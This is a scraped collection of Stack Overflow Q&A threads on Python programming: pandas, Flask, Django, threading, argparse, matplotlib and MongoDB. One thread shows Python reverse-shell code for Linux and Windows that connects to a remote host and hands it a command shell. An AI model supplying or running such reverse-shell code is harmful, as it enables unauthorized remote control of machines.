<p>Oth... | 2 | 2016-06-23T11:13:27Z | 37,990,088 | <p>You need first convert <a href="http://pandas.pydata.org/pandas-docs/stable/generated/pandas.to_datetime.html" rel="nofollow"><code>to_datetime</code></a> column <code>date</code> if <code>dtype</code> is not <code>datetime</code>, <a href="http://pandas.pydata.org/pandas-docs/stable/generated/pandas.merge.html" rel... | 2 | 2016-06-23T11:16:48Z | [
"python",
"excel",
"datetime",
"pandas",
"dataframe"
] |
Change column in df from column from another | 37,990,019 | <p>I have data:</p>
<pre><code> date id
0 2016-06-17 06:25:05 yans.bouts@yandex.ru
1 2016-06-17 06:25:07 yans.bouts@yandex.ru
2 2016-06-17 06:25:10 titovtanya@yandex.ru
3 2016-06-17 06:25:11 titovtanya@yandex.ru
</code></pre>
<p>Oth... | 2 | 2016-06-23T11:13:27Z | 37,990,150 | <p>try this:</p>
<pre><code>df['date'] += pd.Timedelta(df['UTC shift'], unit='H')
</code></pre>
| 1 | 2016-06-23T11:19:21Z | [
"python",
"excel",
"datetime",
"pandas",
"dataframe"
] |
IBM Buemix - Watson Alchemy- How to refer to a local directory on my laptop | 37,990,315 | <p>Currently, I am using the following code to do analysis for a website:</p>
<pre><code>import json
from os.path import join, dirname
from watson_developer_cloud import AlchemyLanguageV1
alchemy_language = AlchemyLanguageV1(api_key='YOUR API KEY')
url = 'https://developer.ibm.com/watson/blog/2015/11/03/price-reduct... | 0 | 2016-06-23T11:27:32Z | 38,003,432 | <p>When using <code>html</code> you need to provide a string variable that contains the HTML code you want to analyze. In your code, you are trying using a file path as the content. Obviously, that's not HTML code.</p>
<p>Try with:</p>
<pre><code>import json
from os.path import join, dirname
from watson_developer_clo... | 0 | 2016-06-23T23:25:36Z | [
"python",
"ibm-watson-cognitive",
"personality-insights"
] |
Complex routing for get request from html form in flask | 37,990,395 | <p>I'm trying to create complex routing for a get request that looks like this:</p>
<pre><code>@app.route('/get-details?id=<int:id>&code=<int:code>', methods=['GET'])
@login_required
def get_details(id, code):
# Do something with code and id ....
</code></pre>
<p>And in my template I have a form t... | 0 | 2016-06-23T11:30:34Z | 37,993,001 | <p>Don't put query args in the route definition. Instead, get them from <code>request.args</code>. <code>args.get</code> takes an optional <code>type</code> argument, so you can still validate the type of the value.</p>
<pre><code>@app.route('/get_details')
def get_details():
id = request.args.get('id', type=int... | 1 | 2016-06-23T13:25:37Z | [
"python",
"templates",
"flask",
"jinja2"
] |
Log x-scale in matplotlib box plot | 37,990,473 | <p>I have an apparently simple question. Maybe it's just me misusing the library, but I can't make out what is the right syntax for it.</p>
<p>I have to make a boxplot from a set of data. I wish to put the x-axis in logarithmic scale, but just writing <code>plt.xscale('log')</code> makes the x-scale disappear.</p>
<p... | 0 | 2016-06-23T11:34:00Z | 37,991,049 | <p>Try to use <code>plt.autoscale()</code> or set limits for x-axis manually:</p>
<pre><code>import matplotlib.pyplot as plt
import numpy as np
# fake up some data
spread = np.random.rand(50) * 100
center = np.ones(25) * 50
flier_high = np.random.rand(10) * 100 + 100
flier_low = np.random.rand(10) * -100
data = np.co... | 0 | 2016-06-23T12:01:19Z | [
"python",
"matplotlib",
"plot",
"boxplot"
] |
Upgrade to Django 1.8.13. Tests fail but app works. Postgresql tables duplicated | 37,990,496 | <p>after a long time procrastinating I decided to upgrade my django app from 1.7.11 to 1.8.13 (due to its LTS). Everything went fine and after fixing some clear errors (I needed to upgrade to <code>django-mptt==0.8.4</code> and <code>django-filter==0.13.0</code> alongside with <code>Django==1.8.13</code>) and deleting ... | 1 | 2016-06-23T11:35:20Z | 37,991,889 | <p>It seems like 'app' is missing from your INSTALLED_APPS, so the table doesn't get created when the test database is initialized.</p>
| 1 | 2016-06-23T12:39:41Z | [
"python",
"django",
"postgresql"
] |
Upgrade to Django 1.8.13. Tests fail but app works. Postgresql tables duplicated | 37,990,496 | <p>after a long time procrastinating I decided to upgrade my django app from 1.7.11 to 1.8.13 (due to its LTS). Everything went fine and after fixing some clear errors (I needed to upgrade to <code>django-mptt==0.8.4</code> and <code>django-filter==0.13.0</code> alongside with <code>Django==1.8.13</code>) and deleting ... | 1 | 2016-06-23T11:35:20Z | 37,992,053 | <p>Let's take another look at your error, particularly this bit:</p>
<pre><code> Creating table blog_newslettersubscription
Running deferred SQL...
Traceback (most recent call last):
File "/home/user/workspace/project/lib/python3.4/site-packages/django/db/backends/utils.py", line 62, in execute
return self... | 1 | 2016-06-23T12:45:38Z | [
"python",
"django",
"postgresql"
] |
is global counter thread safe in python? | 37,990,533 | <pre class="lang-python prettyprint-override"><code>import threading
import time
counter = 0
def increase(name):
global counter
i = 0
while i < 30:
# this for loop is for consuming cpu
for x in xrange(100000):
1+1
counter += 1
print name + " " + str(counter)... | 4 | 2016-06-23T11:37:28Z | 37,990,970 | <p>It's not safe, even in CPython. Although the GIL protects a single opcode execution, a <code>+=</code> is actually expanded to several instructions:</p>
<pre><code>Python 2.7.6 (default, Jun 22 2015, 17:58:13)
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>>... | 6 | 2016-06-23T11:57:57Z | [
"python"
] |
is global counter thread safe in python? | 37,990,533 | <pre class="lang-python prettyprint-override"><code>import threading
import time
counter = 0
def increase(name):
global counter
i = 0
while i < 30:
# this for loop is for consuming cpu
for x in xrange(100000):
1+1
counter += 1
print name + " " + str(counter)... | 4 | 2016-06-23T11:37:28Z | 38,005,530 | <p>Try this:</p>
<pre class="lang-py prettyprint-override"><code>import sys
# Check for thread switches after every virtual instruction.
sys.setcheckinterval(0)
import threading
INCREMENTS = 1000000
counter = 0
def task():
global counter
for i in xrange(INCREMENTS):
counter += 1
thread1 = threading.Thread... | 0 | 2016-06-24T04:18:29Z | [
"python"
] |
is global counter thread safe in python? | 37,990,533 | <pre class="lang-python prettyprint-override"><code>import threading
import time
counter = 0
def increase(name):
global counter
i = 0
while i < 30:
# this for loop is for consuming cpu
for x in xrange(100000):
1+1
counter += 1
print name + " " + str(counter)... | 4 | 2016-06-23T11:37:28Z | 38,429,246 | <p>Today, I revisited the talk on GIL of David M Beazley.</p>
<p>According to his talk, there is less thread context switches on single core CPU.</p>
<p>Here is what he found:</p>
<p><a href="http://www.dabeaz.com/GIL/gilvis/linuxonecpu.html" rel="nofollow">http://www.dabeaz.com/GIL/gilvis/linuxonecpu.html</a>
<a hr... | 0 | 2016-07-18T05:36:50Z | [
"python"
] |
How to control a Windows application from Python | 37,990,545 | <p>I have the application installed on my windows PC, I want to launch that application using python and select dropdown options and do some other activities in that application.</p>
<p>I was able to launch the application using the <code>os.system</code> command, but I am not able to proceed further.</p>
<p>I want m... | -2 | 2016-06-23T11:37:58Z | 38,046,259 | <p>Normally, an application exposes a <em>user interface</em> (UI) for users, and an application programming interface (API) for programming.</p>
<ul>
<li>A <strong>human being</strong> uses <strong>keyboard and mouse</strong> to work with the <strong>user interface</strong> (UI)</li>
<li>An <strong>application</stron... | 2 | 2016-06-27T05:05:36Z | [
"python",
"windows",
"ui-automation"
] |
Pyramid global object share across thread | 37,990,587 | <p>I have a small pyramid web service.</p>
<p>I have also a python class that creates an index of items and methods to search fast across them. Something like:</p>
<pre><code>class MyCorpus(object):
def __init__(self):
self.table = AwesomeDataStructure()
def insert(self):
self.table.push_bac... | 1 | 2016-06-23T11:40:02Z | 37,991,163 | <p>Add an instance of your class to the global <a href="http://docs.pylonsproject.org/projects/pyramid/en/latest/api/registry.html" rel="nofollow">application registry</a> during your <a href="http://docs.pylonsproject.org/projects/pyramid/en/latest/narr/configuration.html#configuration-narr" rel="nofollow">Pyramid app... | 4 | 2016-06-23T12:06:27Z | [
"python",
"pyramid"
] |
Pyramid global object share across thread | 37,990,587 | <p>I have a small pyramid web service.</p>
<p>I have also a python class that creates an index of items and methods to search fast across them. Something like:</p>
<pre><code>class MyCorpus(object):
def __init__(self):
self.table = AwesomeDataStructure()
def insert(self):
self.table.push_bac... | 1 | 2016-06-23T11:40:02Z | 37,993,516 | <p>Any global variable is shared between threads in Python, so this part is really easy: "... create only one instance of that class ... before the server starts ... threads should be able to access it":</p>
<pre><code>corpus = MyCorpus() # in global scope in any module
</code></pre>
<p>Done! Then import the instanc... | 1 | 2016-06-23T13:46:51Z | [
"python",
"pyramid"
] |
getting 'only length-1 arrays can be converted to Python scalars' error | 37,990,602 | <pre><code>import matplotlib.pyplot as plt
import numpy as np
from math import sin, pi
y = pi
x = np.linspace(0, 3*y, 500)
plt.plot(x, sin(x**2))
title("A simple Graph")
plt.show()
</code></pre>
<p>getting </p>
<blockquote>
<p>'only length-1 arrays can be converted to Python scalars'</p>
</blockquote>
<p>error wh... | 0 | 2016-06-23T11:40:47Z | 37,990,704 | <p>You may use this code instead:</p>
<pre><code>import matplotlib.pyplot as plt
import numpy as np
from math import sin,pi
y=pi
x = np.linspace(0, 3*y, 500)
plt.plot(x,[sin(_**2) for _ in x])
title("A simple Graph")
plt.show()
</code></pre>
<p>The second argument of the plot function was not correct.</p>
| 0 | 2016-06-23T11:45:56Z | [
"python"
] |
getting 'only length-1 arrays can be converted to Python scalars' error | 37,990,602 | <pre><code>import matplotlib.pyplot as plt
import numpy as np
from math import sin, pi
y = pi
x = np.linspace(0, 3*y, 500)
plt.plot(x, sin(x**2))
title("A simple Graph")
plt.show()
</code></pre>
<p>getting </p>
<blockquote>
<p>'only length-1 arrays can be converted to Python scalars'</p>
</blockquote>
<p>error wh... | 0 | 2016-06-23T11:40:47Z | 37,990,781 | <p>Just change
<code>plt.plot(x,sin(x**2))</code>
to
<code>plt.plot(x,np.sin(x**2))</code></p>
| 0 | 2016-06-23T11:49:25Z | [
"python"
] |
Django Rest Framework get key from serializer.data | 37,990,606 | <p>Ok so my question is very simple, after calling def create(): It returns me multiple dictionaries, so I want to get a key from this dict.</p>
<p>here is my view:</p>
<pre><code>def create(self, request, *args, **kwargs):
#data = json.dumps(request.data)
user = self.request.user
if user.groups.filter(na... | 0 | 2016-06-23T11:41:03Z | 37,990,845 | <p>The "id" key is in the "abs" dict, so you need access "abs" first. Then access "id" key.</p>
<p>Try this:</p>
<pre><code>def create(self, request, *args, **kwargs):
#data = json.dumps(request.data)
user = self.request.user
if user.groups.filter(name='advertisers').exists():
serializer = Campaig... | 1 | 2016-06-23T11:52:44Z | [
"python",
"django",
"django-rest-framework"
] |
Mocking __mul__ and __rmul__ in Python | 37,990,612 | <p>I am attempting to mock the following line of code:</p>
<pre><code>surface['width'] = '{:~}'.format(self._width * self._scaling_factor_x)
</code></pre>
<p>I pass _width and _scaling_factor_x as objects of class unittest.MagicMock. Afterwards, I replace the __mul__ method of _width with:</p>
<pre><code>def multipl... | 0 | 2016-06-23T11:41:34Z | 37,991,594 | <p>I think the pre-existing magic methods in MagicMock are interfering with your attempts to override them.</p>
<p>You might have better luck by using a standard Mock instead....</p>
<pre><code>from unittest.mock import Mock
mock1 = Mock(name="mock1")
mock2 = Mock(name="mock2")
def multiplicateMocks(self, other):
... | 0 | 2016-06-23T12:26:26Z | [
"python",
"unit-testing",
"mocking"
] |
Mocking __mul__ and __rmul__ in Python | 37,990,612 | <p>I am attempting to mock the following line of code:</p>
<pre><code>surface['width'] = '{:~}'.format(self._width * self._scaling_factor_x)
</code></pre>
<p>I pass _width and _scaling_factor_x as objects of class unittest.MagicMock. Afterwards, I replace the __mul__ method of _width with:</p>
<pre><code>def multipl... | 0 | 2016-06-23T11:41:34Z | 38,001,191 | <p>Normally, setting <code>__mul__</code> on an instance instead of a class wouldn't work at all, but <code>Mock</code> and <code>MagicMock</code> let you do it. The thing is, <code>mock1.__mul__</code> is a <em>bound method</em>, or at least it's supposed to behave like one. That means it gets called like</p>
<pre><c... | 1 | 2016-06-23T20:25:44Z | [
"python",
"unit-testing",
"mocking"
] |
Empty class size in python | 37,990,752 | <p>I just trying to know the rationale behind the empty class size in python, In C++ as everyone knows the size of empty class will always shows 1 byte(as far as i have seen) this let the run time to create unique object,and i trying to find out what size of empty class in python:</p>
<pre><code>class Empty:pass # i h... | 12 | 2016-06-23T11:48:13Z | 37,990,980 | <p>I assume you are running a 64 bit version of Python 3. On 32 bit Python 3.6 (on Linux), your code prints <code>show 508</code>.</p>
<p>However, that's the size of the class object itself, which inherits quite a lot of things from the base <code>object</code> class. If you instead get the size of an <em>instance</em... | 12 | 2016-06-23T11:58:20Z | [
"python"
] |
Empty class size in python | 37,990,752 | <p>I just trying to know the rationale behind the empty class size in python, In C++ as everyone knows the size of empty class will always shows 1 byte(as far as i have seen) this let the run time to create unique object,and i trying to find out what size of empty class in python:</p>
<pre><code>class Empty:pass # i h... | 12 | 2016-06-23T11:48:13Z | 37,991,194 | <pre><code>Python 2.7.11 (default, Apr 12 2016, 14:09:35)
[GCC 4.2.1 Compatible Apple LLVM 7.0.2 (clang-700.1.81)] on darwin
>>> class Empty:pass
>>> import sys
>>> print ("show",sys.getsizeof(Empty)) # i get 1016
('show', 104)
>>> print ("show",sys.getsizeof(Empty()))
('show', 72)
... | 2 | 2016-06-23T12:07:57Z | [
"python"
] |
Parallelizing a function call in python | 37,991,047 | <p>I have a function in python which I need to execute it multiple times and at the same time (to save computational cost).
The following is a simple example and I don't know how to call my function at the same time!</p>
<pre><code>def f(x):
return x
y1=f(x1)
y2=f(x2)
</code></pre>
<p>I need to execute y1 and y2... | 0 | 2016-06-23T12:01:11Z | 37,991,160 | <p>I would encourage you to read the <a href="https://docs.python.org/3/library/multiprocessing.html" rel="nofollow">https://docs.python.org/3/library/multiprocessing.html</a> documentation, which has a great example. If you're using Python 3.x</p>
<pre><code>from multiprocessing import Pool
def f(x):
return x*x
... | 2 | 2016-06-23T12:06:16Z | [
"python",
"multithreading",
"parallel-processing",
"subprocess"
] |
Parallelizing a function call in python | 37,991,047 | <p>I have a function in python which I need to execute it multiple times and at the same time (to save computational cost).
The following is a simple example and I don't know how to call my function at the same time!</p>
<pre><code>def f(x):
return x
y1=f(x1)
y2=f(x2)
</code></pre>
<p>I need to execute y1 and y2... | 0 | 2016-06-23T12:01:11Z | 37,991,668 | <p>Another solution that might help you:</p>
<pre><code>import Queue
import threading
# your function with a slight change:
def f(q,x):
q.put(x)
inputs = [1,2,3,4]
# aggregate to a queue:
q = Queue.Queue()
for x in inputs:
t = threading.Thread(target=f, args=(q,x))
t.daemon = True
t.start()
output... | 0 | 2016-06-23T12:29:58Z | [
"python",
"multithreading",
"parallel-processing",
"subprocess"
] |
How to iterating string in df using python | 37,991,058 | <p>I have data </p>
<pre><code> date id request
0 2016-06-17 09:25:05 yans.bouts@yandex.ru GET HTTP/1.1
1 2016-06-17 09:25:07 yans.bouts@yandex.ru POST HTTP/1.1
2 2016-06-17 09:25:47 yans.bouts@yandex.ru CONNECT HTTP/1.1
3 2016-06-17 0... | 1 | 2016-06-23T12:01:37Z | 37,991,096 | <p>You need <a href="http://pandas.pydata.org/pandas-docs/stable/indexing.html#boolean-indexing" rel="nofollow"><code>boolean indexing</code></a> with <code>mask</code> created by <a href="http://pandas.pydata.org/pandas-docs/stable/generated/pandas.Series.str.contains.html" rel="nofollow"><code>str.contains</code></a>... | 2 | 2016-06-23T12:03:17Z | [
"python",
"string",
"pandas",
"dataframe",
"condition"
] |
Is it better to query by type in ElasticSearch? | 37,991,118 | <p>My question is about <strong>performance</strong>.
I am using filtered query a lot and I am not certain what is the proper way to query by type.</p>
<p>So first, lets have a look at the <strong>mappings</strong>:</p>
<pre><code>{
"my_index": {
"mappings": {
"type_Light_Yellow": {
"properties": ... | 3 | 2016-06-23T12:04:04Z | 38,232,988 | <p>Types in elasticsearch work by adding _type attribute to documents and every time you search a specific type it automatically filters by _type attributes. So, performance wise there shouldn't be much of a difference. Types are an abstraction and not actual data. What I mean here is that, fields across multiple docum... | 1 | 2016-07-06T20:16:07Z | [
"python",
"performance",
"elasticsearch",
"query-performance"
] |
How to return a list of tuples as permuted form from a list of letters using merge sort? | 37,991,187 | <p>I have a list full of letters such as <code>li = ["m", "i"]</code> and I would like to return a list of tuples as permuted form <strong>without using any libraries</strong> as following, </p>
<pre><code>[("m", "i"), ("i", "m")]
</code></pre>
<p>I try to use merge sort with recursion to solve this problem, however,... | -3 | 2016-06-23T12:07:38Z | 37,991,365 | <p>Try this.</p>
<pre><code>from itertools import permutations
[i for i in permutations(li,2)]
</code></pre>
<p><strong>Result</strong></p>
<pre><code>[('m', 'i'), ('i', 'm')]
</code></pre>
<p>Here is without <code>permutations</code> </p>
<pre><code>In [32]: [k for k in [(i,li[j])for i in li for j in range(2)] if... | 1 | 2016-06-23T12:15:53Z | [
"python",
"recursion",
"permutation",
"mergesort"
] |
Argparse and command line syntax | 37,991,216 | <p>I'm writing a program that takes a file argument like <code>*.xml</code> or <code>*.txt</code> or something like that. For example:</p>
<pre><code>parser.add_argument("-f", "--file")
args=parser.parse_args()
</code></pre>
<p>e.g.</p>
<pre><code>python myprog.py -f *.xml
</code></pre>
<p>Then <code>args.file</cod... | 1 | 2016-06-23T12:09:14Z | 37,991,279 | <p>The problem is that the shell is expanding the <code>*</code> before it gets to python or argparse. Try escaping it so the shell won't process it like</p>
<pre><code>python myprog.py -f \*.xml
</code></pre>
| 5 | 2016-06-23T12:12:29Z | [
"python",
"argparse"
] |
Argparse and command line syntax | 37,991,216 | <p>I'm writing a program that takes a file argument like <code>*.xml</code> or <code>*.txt</code> or something like that. For example:</p>
<pre><code>parser.add_argument("-f", "--file")
args=parser.parse_args()
</code></pre>
<p>e.g.</p>
<pre><code>python myprog.py -f *.xml
</code></pre>
<p>Then <code>args.file</cod... | 1 | 2016-06-23T12:09:14Z | 37,991,284 | <p>The <code>*</code> character is used by shells to expand pathnames. As you've already found out, to prevent this you must quote it: </p>
<p><code>python myprog.py -f '*.xml'</code></p>
<p>If you'd like to avoid the need of quoting, you could use some other syntax, e.g. SQL-like:</p>
<p><code>python myprog.py -f ... | 4 | 2016-06-23T12:12:43Z | [
"python",
"argparse"
] |
Argparse and command line syntax | 37,991,216 | <p>I'm writing a program that takes a file argument like <code>*.xml</code> or <code>*.txt</code> or something like that. For example:</p>
<pre><code>parser.add_argument("-f", "--file")
args=parser.parse_args()
</code></pre>
<p>e.g.</p>
<pre><code>python myprog.py -f *.xml
</code></pre>
<p>Then <code>args.file</cod... | 1 | 2016-06-23T12:09:14Z | 37,995,155 | <p>As others have noted, it's the shell that does filename expansion, before python is even invoked.</p>
<p>If it's the sort of program that you often use several times in succession, then the best you can do to avoid the "problem" is having the program prompt for a command, either always, or if a command is not passe... | 0 | 2016-06-23T14:54:05Z | [
"python",
"argparse"
] |
How to apply indexing in mongodb to read the whole data at once faster | 37,991,245 | <p>As the data retrieving is too slow when I am querying for the whole data at once in MongoDB using the query <code>db.find({}, {'_id':0})</code>.
I am using PyMongo
How can I retrieve all the documents faster using Python driver.
I think indexing can make data retrieve faster but how to apply Indexing on whole collec... | 1 | 2016-06-23T12:10:41Z | 37,991,450 | <p>Indexing will drastically speed up finding <strong>subsets</strong> of documents within a collection, but will not (to my knowledge) speed up pulling the entire collection.</p>
<p>The reason indexing speeds up finding subsets is that mongo does not have to iterate through each document to see if they match the quer... | 0 | 2016-06-23T12:20:08Z | [
"python",
"mongodb",
"pymongo"
] |
Spyder and Quandl issue | 37,991,330 | <p>I just instaled Quandl on my setup.
I'm running Spyder, Anaconda3, Windows 7.
The install was fine and Quandl is running as expected.
The only issue is I'm unable to see the entire output from my request. This is an extract of when more than 60 rows are availabe. It is able to print up to 60 rows whit this at the mi... | 0 | 2016-06-23T12:14:31Z | 37,996,416 | <p>I'm still looking for why is that happening but the decision is the <code>print</code> statement to be modified. From:</p>
<pre><code>import quandl
data = quandl.get('FRED/GDP')
print(data)
</code></pre>
<p>To:</p>
<pre><code>import quandl
data = quandl.get('FRED/GDP')
print(data.to_csv())
</code></pre>
| 0 | 2016-06-23T15:53:01Z | [
"python",
"python-3.x",
"anaconda",
"spyder",
"quandl"
] |
Serialize model objects into a JSON dict using django-rest-framework | 37,991,349 | <p>So if I have the following model class in Django:</p>
<pre><code>class Person(models.Model):
name = models.CharField(max_length=250)
is_active = models.BooleanField(default=True)
address_line1 = models.CharField(max_length=100, blank=True, null=True)
address_line2 = models.CharField(max_length=100,... | 0 | 2016-06-23T12:15:07Z | 37,991,543 | <p>What you want is a <a href="http://www.django-rest-framework.org/api-guide/fields/#dictfield" rel="nofollow"><code>DictField</code></a> not a <code>ListField</code>, the key <code>contact</code> in your desired JSON output is an object (dict in Python), not a list:</p>
<pre><code>contact = serializers.DictField(
... | 1 | 2016-06-23T12:23:50Z | [
"python",
"json",
"django",
"serialization",
"django-rest-framework"
] |
Comparing hashes and evaluate each hash | 37,991,475 | <p>I'm new in Python. I want to do a "changedetector" program. To do this, I'm getting url content from a website. And hashing with some algorithm.(like md5). If our first hash isn't match with the second hash of the website content's. I'm tweeting myself. I will use cronjob. But I can't comparing hashes between them. ... | 0 | 2016-06-23T12:21:07Z | 37,996,235 | <p>Since you are in a loop, just create an initial hash outside the loop and compare to a new hash inside, updating the prev variable to the most recent new hash:</p>
<pre><code>import hashlib
from time import sleep
def hsh(txt):
a = hashlib.md5()
a.update(txt.encode('utf-8'))
return a.hexdigest()
def b... | 0 | 2016-06-23T15:44:50Z | [
"python",
"twitter",
"hash",
"python-requests",
"string-comparison"
] |
Django migrate foreignkey with int index set to 10 digits not 11 | 37,991,513 | <p>I have a legacy database with int index set to 10 digits. I need Django migrations to create my forigen keys to int(10) not int(11)</p>
<p>By default Django Forigenkey sets int(11) and when try to make the ForigenKeys in Mysql give the error:</p>
<pre><code>django.db.utils.OperationalError: (1005, 'Can\'t create t... | 1 | 2016-06-23T12:22:36Z | 37,999,476 | <p>You have one possible option to create forigenKey with <code>int(10)</code>. by editing empty migration file.</p>
<p>First create empty migration file with</p>
<pre><code>python manage.py makemigrations --empty myapp
</code></pre>
<p>Then edit <code>operations = []</code> to excute rawsql with forigenKey int(10)... | 1 | 2016-06-23T18:45:05Z | [
"python",
"mysql",
"django"
] |
Python windows reverse shell one liner | 37,991,717 | <p>Can anyone help me on a Python reverse shell one-liner for Windows (has to be windows one-liner).</p>
<p>I am trying to modify the one for Linux which I have used many times but this is my first time for Windows.</p>
<p>Linux one liner : </p>
<pre><code>python -c 'import socket,subprocess,os;s=socket.socket(socke... | 1 | 2016-06-23T12:28:27Z | 37,992,277 | <p>From the <a href="https://docs.python.org/2/library/socket.html#socket.socket.fileno" rel="nofollow">documentation</a> for <code>socket.fileno()</code>:</p>
<blockquote>
<p>Under Windows the small integer returned by this method cannot be used where a file descriptor can be used (such as os.fdopen()). Unix does n... | 1 | 2016-06-23T12:54:56Z | [
"python",
"shellcode"
] |
Python windows reverse shell one liner | 37,991,717 | <p>Can anyone help me on a Python reverse shell one-liner for Windows (has to be windows one-liner).</p>
<p>I am trying to modify the one for Linux which I have used many times but this is my first time for Windows.</p>
<p>Linux one liner : </p>
<pre><code>python -c 'import socket,subprocess,os;s=socket.socket(socke... | 1 | 2016-06-23T12:28:27Z | 39,683,398 | <p>(@rockstar: I think you and I are studying the same thing!)</p>
<p>Not a one liner, but learning from David Cullen's answer, I put together this reverse shell for Windows.</p>
<pre><code>import os,socket,subprocess,threading;
def s2p(s, p):
while True:
data = s.recv(1024)
if len(data) > 0:
... | 0 | 2016-09-25T04:31:45Z | [
"python",
"shellcode"
] |
Connecting many json files to one | 37,991,771 | <p>i get many json strings from a mysql DB an should combine them.</p>
<p>For example:</p>
<pre><code>{
"type": "device",
"name": "Lampe",
"controls": [
{
"type": "switch",
"name": "Betrieb",
"topic": "/lampe/schalter"
}
]
}
</code></pre>
<p>in combination this devices should get in... | -1 | 2016-06-23T12:34:45Z | 37,991,888 | <p>The <a href="https://docs.python.org/3/library/json.html" rel="nofollow"><code>json</code></a> module can be used.</p>
<pre><code>#!/usr/bin/env python3.5
import json
# Parse each device JSON file.
device1 = json.load(open("device-switch-Lampe.json"))
device2 = json.load(open("device-sensor-Wert.json"))
# more de... | 3 | 2016-06-23T12:39:40Z | [
"python",
"json"
] |
Connecting many json files to one | 37,991,771 | <p>i get many json strings from a mysql DB an should combine them.</p>
<p>For example:</p>
<pre><code>{
"type": "device",
"name": "Lampe",
"controls": [
{
"type": "switch",
"name": "Betrieb",
"topic": "/lampe/schalter"
}
]
}
</code></pre>
<p>in combination this devices should get in... | -1 | 2016-06-23T12:34:45Z | 37,992,359 | <p>There are two ways you could do this - by working on strings, or by working with Python-JSON data structures. The former would be something like</p>
<pre><code># untested code
s = '''{
"name": "Test-System",
"devices": [ '''
while True:
j = get_json_from_DB()
if not j: break # null string or None
s =... | 2 | 2016-06-23T12:58:31Z | [
"python",
"json"
] |
Strip Unicode from List Django | 37,991,854 | <p>I want to strip off [u'] from the below list.</p>
<pre><code>[u'Wireless Internet', u'Air Condition', u'Wardrobe', u'Television', u'In House Movies', u'Flatscreen TV']
</code></pre>
<p>And show the below values in my django template</p>
<pre><code>Wireless Internet, Air Condition, Wardrobe
</code></pre>
<p>The ... | 0 | 2016-06-23T12:38:26Z | 37,991,937 | <blockquote>
<p>Show the below values in my django template</p>
<p>Wireless Internet, Air Condition, Wardrobe </p>
</blockquote>
<p><strong>The answer I was afraid to give, because it's not really practical or best practice to save that kind of representation into the database, but since you revealed <code>Room... | 1 | 2016-06-23T12:41:28Z | [
"python",
"django",
"django-models",
"django-views"
] |
Django: query on properties of set of foreign keyed objects | 37,991,984 | <p>I'm looking for a way to use the Django query tools to return a list of objects that meet some criteria which may have to do with a set of related objects. Here's what I mean:</p>
<pre><code>class Book(models.Model):
name = models.CharField(max_length=100)
class Chapter(models.model):
name = models.CharFie... | 1 | 2016-06-23T12:43:13Z | 37,992,598 | <p>You can try querying for all the <code>Book</code>s except those that have at least one <code>Chapter</code> with a <code>length</code> less than or equal to 100. For example:</p>
<pre><code>books = Book.objects.exclude(chapter__length__le=100)
</code></pre>
| 0 | 2016-06-23T13:08:09Z | [
"python",
"django"
] |
Python2.7 + MySQL query with variable column return variable value | 37,992,030 | <p>I'm try send this query:</p>
<pre><code> data = ('name')
query = ("SELECT %s FROM table")
cursor.execute(query,[data])
</code></pre>
<p>and print int:</p>
<pre><code>b = cursor.fetchall()
for row in b:
a = row[0]
list_of_a.append(model)
return list_of_a
print list_of_a
</c... | 0 | 2016-06-23T12:44:53Z | 37,992,149 | <p>Change your query like this.</p>
<pre><code>query = ("SELECT '%s' FROM table")
</code></pre>
<p>It will work.</p>
| 0 | 2016-06-23T12:49:24Z | [
"python",
"mysql"
] |
Django display items in template based on user group membership | 37,992,079 | <p>I am working on an application portal page for an internal intranet. The site is integrated with Active Directory using django-auth-ldap and should only display link items based on which groups a user is a member of. As part of my model there is a 'required_group' field which contains the name of the group needed to... | 0 | 2016-06-23T12:46:39Z | 38,123,741 | <p>I have managed to solve it! It requires the use of Q objects which I had to learn about. This is my <code>views.py</code> showing the final Q object query.</p>
<pre><code>from django.shortcuts import render, redirect
from django.http import HttpResponse
from django.contrib.auth import authenticate, login, logout
fr... | 0 | 2016-06-30T12:54:23Z | [
"python",
"django"
] |
Append new column to df from list using python | 37,992,118 | <p>I have list <code>lst = ['vk.com', 'facebook.com', 'avito.ru', 'twitter.com']</code>
and I want to add it to this <code>df</code>:</p>
<pre><code>date id request
2016-06-17 09:26:18 yans.bouts@yandex.ru GET HTTP/1.1
2016-06-17 09:38:18 yans.bouts@yandex.ru GET HTTP/1.1
2016-06-17 10:13:44 yans.bouts@yande... | 2 | 2016-06-23T12:47:59Z | 37,992,139 | <p>If <code>length</code> of list is same as length of <code>df</code> use:</p>
<pre><code>lst = ['vk.com', 'facebook.com', 'avito.ru', 'twitter.com']
df['new'] = lst
print (df)
date id request new
0 2016-06-17 09:26:18 yans.bouts@yandex.ru GET HTTP/1.1 v... | 4 | 2016-06-23T12:48:59Z | [
"python",
"list",
"pandas",
"dataframe",
"append"
] |
pandas combine pivot table with DataFrame | 37,992,126 | <p>I want to group my data set and enrich it with a formatted representation of the aggregated information.</p>
<p>This is my data set:</p>
<pre><code>h = ['A', 'B', 'C']
d = [["a", "x", 1], ["a", "y", 2], ["b", "y", 4]]
rows = pd.DataFrame(d, columns=h)
A B C
0 a x 1
1 a y 2
2 b y 4
</code></pre>
<p... | 2 | 2016-06-23T12:48:17Z | 37,992,575 | <p>You can first remove <code>[]</code> from parameters in <a href="http://pandas.pydata.org/pandas-docs/stable/generated/pandas.pivot_table.html" rel="nofollow"><code>pivot_table</code></a>, so you remove <code>Multiindex</code> from columns:</p>
<pre><code>pivot = pd.pivot_table(rows,index="A", values="C", columns="... | 0 | 2016-06-23T13:07:15Z | [
"python",
"pandas",
"dataframe",
"group-by",
"pivot-table"
] |
Django pytest AssertionError: should return body unicode | 37,992,133 | <p>I was learning <strong>django-pytest</strong> and Im trying to test the unicode, but was getting error</p>
<p><strong>My models</strong></p>
<pre><code>class Post(models.Model):
body = models.TextField()
value = models.CharField(max_length=5)
def __unicode__(self):
return self.body
</code></pr... | 2 | 2016-06-23T12:48:33Z | 37,992,979 | <p>For sure, I don't understand why you unaccepted (it was accepted 1 month ago) my answer. It helped you. Its clearly. Maybe, you accepted answer of your friend. Well, good luck with that attitude.</p>
<p>You have to call </p>
<pre><code>obj.__unicode__()
</code></pre>
<p>it should work fine.</p>
<p>It's a method,... | 1 | 2016-06-23T13:24:39Z | [
"python",
"django",
"pytest-django"
] |
Django pytest AssertionError: should return body unicode | 37,992,133 | <p>I was learning <strong>django-pytest</strong> and Im trying to test the unicode, but was getting error</p>
<p><strong>My models</strong></p>
<pre><code>class Post(models.Model):
body = models.TextField()
value = models.CharField(max_length=5)
def __unicode__(self):
return self.body
</code></pr... | 2 | 2016-06-23T12:48:33Z | 37,993,454 | <pre><code>result = unicode(obj)
result == u'hello'
</code></pre>
